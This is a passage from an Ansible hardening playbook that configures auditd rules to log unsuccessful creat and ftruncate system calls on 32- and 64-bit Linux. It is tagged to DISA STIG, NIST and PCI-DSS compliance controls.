    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for creat EPERM for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_creat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for creat EPERM for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_creat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit ftruncate tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_ftruncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for ftruncate EACCES for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_ftruncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for ftruncate EACCES for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_ftruncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for ftruncate EPERM for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_ftruncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for ftruncate EPERM for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
